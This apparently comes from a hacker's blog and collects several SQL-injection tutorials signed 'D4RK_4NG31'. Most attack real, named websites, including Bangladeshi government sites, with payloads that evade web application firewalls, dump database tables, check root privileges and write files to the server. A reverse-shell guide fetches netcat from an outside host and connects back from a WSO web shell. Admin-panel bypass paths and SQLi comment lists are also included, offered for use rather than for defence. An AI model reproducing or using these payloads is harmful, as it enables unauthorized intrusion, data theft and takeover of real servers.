SQLi Challenge Solution 3

So, First of all hello guys ^_^ as always :p

My tasks and rules was this...

As You know MySQL Union Based Injection will not work.

Now we'll think bout error based.. but sadly in this query some words are not acceptable according to my rules..

Now we'll think Xpath will work but it's not for DIOS .. it shows less data and Polygon Injection show few more data than xpath injection.

For this challenge Dual Injection is best it shows most data than all these injections..

and Query of Dual Injection is this :

and(select(!dark-~007)from(select (@@version) dark)angel)--+-

So, let's start...

1. We'll see website is vuln or not

http://bpc.gov.bd/gallery.php?id=6' > error

2. Now We'll check Which comment is working

http://bpc.gov.bd/gallery.php?id=6'--+- > No error it means this comment is working ^_^

3. We'll Execute Dual Injection Query.

http://bpc.gov.bd/gallery.php?id=6' and(select(!dark-~007)from(select (@@version) dark)angel)--+- > WAF -_-

4. We'll Bypass The WAF.. We'll Put \ to know which word is blocked

http://bpc.gov.bd/gallery.php?id=6' and(select(!dark-~007)from(select (@@ver\sion) dark)angel)--+- > no error it means version is blocked

http://bpc.gov.bd/gallery.php?id=6' and(select(!dark-~007)from(select (/*!50000@@version*/) dark)angel)--+- > :) Byassed...

5. First we'll print Cyber name,version,database and user to DIOS...

http://bpc.gov.bd/gallery.php?id=6' and(select(!dark-~007)from(select (concat(/*!50000@@version*/,database(),user()) dark)angel)--+- > Again WAF -_-

http://bpc.gov.bd/gallery.php?id=6' and(select(!dark-~007)from(select (c\oncat(/*!50000@@version*/,dat\abase(),us\er()) dark)angel)--+- > no error now time to bypass these words

http://bpc.gov.bd/gallery.php?id=6' and(select(!dark-~007)from(select (concat (/*!50000@@version*/,/*!50000database*/(),/*!50000user*/())) dark)angel)--+-

Now We'll add Cyber name , Version :: , Database :: , User :: and <br>

http://bpc.gov.bd/gallery.php?id=6' and(select(!dark-~007)from(select (concat (0x3c68323e496e6a6563746564206279204434524b20344e4733313c2f68323e,0x3c703e56657273696f6e203a3a203c2f703e,/*!50000@@version*/,0x3c62723e,0x3c703e4461746162617365203a3a3c2f703e,/*!50000database*/(),0x3c62723e,0x3c703e55736572203a3a3c2f703e,/*!50000user*/(),0x3c62723e)) dark)angel)--+- > Done ! Printed

6. Now We'll Dump Tables and Columns to complete the DIOS...

To Dump Tables and Columns I'll use this Query :

(select(@) from(select(@:=0x00),(select(0) from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@:=concat (@,0x3c6c693e,table_name,0x203a3a20,column_name))))x)


http://bpc.gov.bd/gallery.php?id=6' and(select(!dark-~007)from(select (concat (0x3c68323e496e6a6563746564206279204434524b20344e4733313c2f68323e,0x3c703e56657273696f6e203a3a203c2f703e,/*!50000@@version*/,0x3c62723e,0x3c703e4461746162617365203a3a3c2f703e,/*!50000database*/(),0x3c62723e,0x3c703e55736572203a3a3c2f703e,/*!50000user*/(),0x3c62723e,(select(@) from(select(@:=0x00),(select(0) from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@:=concat (@,0x3c6c693e,table_name,0x203a3a20,column_name))))x))) dark)angel)--+- > Blocked by WAF

http://bpc.gov.bd/gallery.php?id=6' and(select(!dark-~007)from(select (concat (0x3c68323e496e6a6563746564206279204434524b20344e4733313c2f68323e,0x3c703e56657273696f6e203a3a203c2f703e,/*!50000@@version*/,0x3c62723e,0x3c703e4461746162617365203a3a3c2f703e,/*!50000database*/(),0x3c62723e,0x3c703e55736572203a3a3c2f703e,/*!50000user*/(),0x3c62723e,(select(@) fr\om(select(@:=0x00),(select(0) fro\m(info\rmation_schema.columns)wh\ere(ta\ble_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@:=concat (@,0x3c6c693e,ta\ble_name,0x203a3a20,colu\mn_name))))x))) dark)angel)--+- > No error now time to bypass these words

http://bpc.gov.bd/gallery.php?id=6' and(select(!dark-~007)from(select (concat (0x3c68323e496e6a6563746564206279204434524b20344e4733313c2f68323e,0x3c703e56657273696f6e203a3a203c2f703e,/*!50000@@version*/,0x3c62723e,0x3c703e4461746162617365203a3a3c2f703e,/*!50000database*/(),0x3c62723e,0x3c703e55736572203a3a3c2f703e,/*!50000user*/(),0x3c62723e,(select(@) /*!50000from*/(select(@:=0x00),(select(0) /*!50000from*/(/*!50000information_schema*/.columns)/*!50000where*/(/*!50000table_schema*/!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@:=concat (@,0x3c6c693e,/*!50000table_name*/,0x203a3a20,/*!50000column_name*/))))x))) dark)angel)--+- > DIOS Bypassed :D


Challenge Solved !

Happy Injecting....

#D4RK_4NG31

SQLi Challenge Solution 2

Okay First hello to all :p .. The Method is used in this Challenge is Root Privilleges Method.

Okay then let's start :

1. First of all we'll see that site is vuln or not.

http://www.police.gov.bd/content.php?id=275' > Error :D Text disappeared it means it's vuln

2. Now Time to find which comment is working

http://www.police.gov.bd/content.php?id=275 order by 2222222-- > No error It means we've to try now String Based SQLi

http://www.police.gov.bd/content.php?id=275' order by 222222--+ > Error :D its working

2. Now We've to Dump Vuln Columns

http://www.police.gov.bd/content.php?id=275' order by 20--+ > error
http://www.police.gov.bd/content.php?id=275' order by 15--+ > No error
http://www.police.gov.bd/content.php?id=275' order by 17--+ > Error
http://www.police.gov.bd/content.php?id=275' order by 16--+ > No error

So, Total Columns are 16.

Now We've to dump Columns.

http://www.police.gov.bd/content.php?id=275' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--+ > Vuln Columns is 3

3. Now we've to see that Website have root privilleges or not.

To see it we've to use this query.

(SELECT+GROUP_CONCAT(GRANTEE,0x202d3e20,IS_GRANTABLE,0x3c62723e)+FROM+INFORMATION_SCHEMA.USER_PRIVILEGES)

Use it in vuln column.

http://www.police.gov.bd/content.php?id=275' union select 1,2,(SELECT+GROUP_CONCAT(GRANTEE,0x202d3e20,IS_GRANTABLE,0x3c62723e)+FROM+INFORMATION_SCHEMA.USER_PRIVILEGES),4,5,6,7,8,9,10,11,12,13,14,15,16--+

Yeahhhh :D it's showing root@localhost > Yes it means We've Root Privilleges access.

4. Now We've to Check website path for Upload shell

Users path exist in passwd file So, we'll load that file to see the path. For this we'll use following command :

load_file('/etc/passwd')

http://www.police.gov.bd/content.php?id=275' union select 1,2,load_file('/etc/passwd'),4,5,6,7,8,9,10,11,12,13,14,15,16--+

:'( No luck no path there

5. If You can't able to find the path then remember tmp dir is always writable ^_^

To Upload file in tmp folder we'll use following Command

into outfile '/tmp/test.txt'

http://www.police.gov.bd/content.php?id=275' union select 1,2,'Testing',4,5,6,7,8,9,10,11,12,13,14,15,16 into outfile '/tmp/test.txt'--+

6. To Open your uploaded file We'll use load_file

http://www.police.gov.bd/content.php?id=275' union select 1,2,load_file('/tmp/test.txt'),4,5,6,7,8,9,10,11,12,13,14,15,16--+

Wahoooooo :)))) It's working .....

Hope You like my tutorial ( Solution of 2nd Challenge ) .

#D4RK_4NG31

BackConnect Without Router

Hello Guys ! I know many people wants to root server but their internet don't forward port :)

But Now you can BackConnect with any Internet Connections.

So, Just Follow me :-

1. Make account on koding.com

2. Build VM It'll take time.

3. Upload NetCat with wget Function in Terminal. Command : wget -O netcat.zip http://anonpirates.ml/netcat-1.11.zip

4. Now Unzip netcat with this command : unzip netcat.zip
" Hurray ! We Install NetCat successfully :) "

5. Now execute this command : nc -lvp 1337

6. Now You'll see written " koding-vm-0 " in top left and in that option You'll see settings button.

7. Click on settings button and There You'll see Public IP,Copy that IP.

8. Now goto that Server in which you want to backconnect

9. Click on Network ( WSO Shell ) And now Paste Public IP in IP and Write 1337 in port and then click on connect.

10.Now go back to VM to see that it's connected or not. Execute this command : ls ( to check )

Yahooooooooo ! :D We Successfully BackConnect the server

Hope You Like my tutorial. Thanks to Kashmiri Cheetah

#D4RK_4NG31

Routed SQLi Method

Hey Guys ! Hope You all are fine today :p

Now I'm going to teach you SQLi Routed Query method.

So, Let's start.

First we've to find vuln columns of target website .

web.com/index.php?id=1' union select 1,2,3,4,5--+

Sadly No Vuln Columns is appearing :\

Let's check in source

view-source:http://web.com/index.php?id=1' union select 1,2,3,4,5--+

:( Again no vuln columns is appearing. :) So, it's time to use Routed Query method to dump vuln column.

Let's find vuln column in which we can use routed SQLi method.

To find vuln columns. We'll use 0x27 = '

web.com/index.php?id=1' union select 1,2,3,4,0x27--+ > No error
web.com/index.php?id=1' union select 1,2,3,0x27,5--+ > No error
web.com/index.php?id=1' union select 1,2,0x27,4,5--+ > No error
web.com/index.php?id=1' union select 1,0x27,3,4,5--+ > Error
web.com/index.php?id=1' union select 0x27,2,3,4,5--+ > No Error

Horray ! :D .. We've fine the Vuln columns and it is 2.
Now , we've to use Routed SQLi Query

In this query we've to first put and false before union select & "1" in vuln column where " is for query and 1 is the injection point
Hope You know that Query without injection point never works. So, Let's begin

Time to find Columns

web.com/index.php?id=1' and false union select 1,"1 order by 1",3,4,5--+ > No error
web.com/index.php?id=1' and false union select 1,"1 order by 2",3,4,5--+ > No error
web.com/index.php?id=1' and false union select 1,"1 order by 5",3,4,5--+ > No error
web.com/index.php?id=1' and false union select 1,"1 order by 6",3,4,5--+ > Error

So, Columns are 6 :D

Let's dump vuln columns

web.com/index.php?id=1' and false union select 1,"1 union select 1,2,3,4,5,6",3,4,5--+

:D yeaahhhhhhhh... Vuln columns is appearing.

Hope You like my tutorial ;)
#D4RK_4NG31

Admin Panel Bypass

:) Hello Guys ! Today I'm going to teach you admin panel bypass.

So, let's start

:D You can bypass 68% Admin Panels with this

/admin/dashboard.php
/admin/home.php
/admin/admin.php
/admin/welcome.php
/admin/admin_index.php
/admin/admin_home.php
/admin/admin_main.php
/admin/main.php

If this not working You can try SQLi authentication bypass in other tutorials.
Hope You like my tutorial ;)
#D4RK_4NG31

SQLi Comments

%23
--
--+
--+-
;

WORK :
1'%23
1 --
1' --+
1' --+-
1' ;

SQLi Challenge Solution 1

First Hello to all :) from D4RK 4NG31

Target : http://exoticindiatours.in/pckge-details.php?id=2

Now, Let's Start

Finding which comment is working

http://exoticindiatours.in/pckge-details.php?id=2' --+ ====> error
http://exoticindiatours.in/pckge-details.php?id=2 --   ====> no error it's mean comment (--) is working..

-- = # mostly

So, we don't have to use any comment :))

Now it's time to find columns

First we'll use order by

http://exoticindiatours.in/pckge-details.php?id=2 order by 122 ====> Blocked

order by function is blocked.. so, we'll use group by instead of order by

http://exoticindiatours.in/pckge-details.php?id=2 group by 122 ====> showing error it's mean it's working :D

http://exoticindiatours.in/pckge-details.php?id=2 group by 2 ====> Error

http://exoticindiatours.in/pckge-details.php?id=2 group by 1 ====> No error

So, The vuln column is 1

Now, time to use union select

http://exoticindiatours.in/pckge-details.php?id=2 union select 1 ===> Blocked
http://exoticindiatours.in/pckge-details.php?id=2 /*!50000union*/ /*!50000select*/ ====> again blocked

seems Site block special chars (*,!)

Now It's time to do encryption.

For this we'll use union(select

In this .. We'll type columns like this " union(select (1),(2),(3),(4),(5))

Let's try..

http://exoticindiatours.in/pckge-details.php?id=2 union(select (1)) ====> :)) working....

Now it's time to use DIOS

as i already told u concat func is used for print multiple queries

http://exoticindiatours.in/pckge-details.php?id=2 union(select (concat(version(),database(),user()))

We get an error... seems site is blocking ( , ) comma

To bypass we'll use variable method :

and@x:=

Let's try this :

http://exoticindiatours.in/pckge-details.php?id=2 and@x:=concat(version(),database(),user()) union(select (@x))

again error

Let's try Waf. First we'll see which word is blocking site :

http://exoticindiatours.in/pckge-details.php?id=2 and@x:=concat====(version(),database(),user()) union(select (@x)) ===> No error

Concat( = Blocked

For this we'll use + with great amount

Let's do it:

http://exoticindiatours.in/pckge-details.php?id=2 and@x:=concat+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++(0x3c703e496e6a6563746564206279204434524b20344e4733313c2f703e,0x3c62723e,version(),0x3c62723e,database(),0x3c62723e,user())+UNION(SELECT(@x))#

Done :) Happy Injecting ;) Tutorial by D4RK 4NG31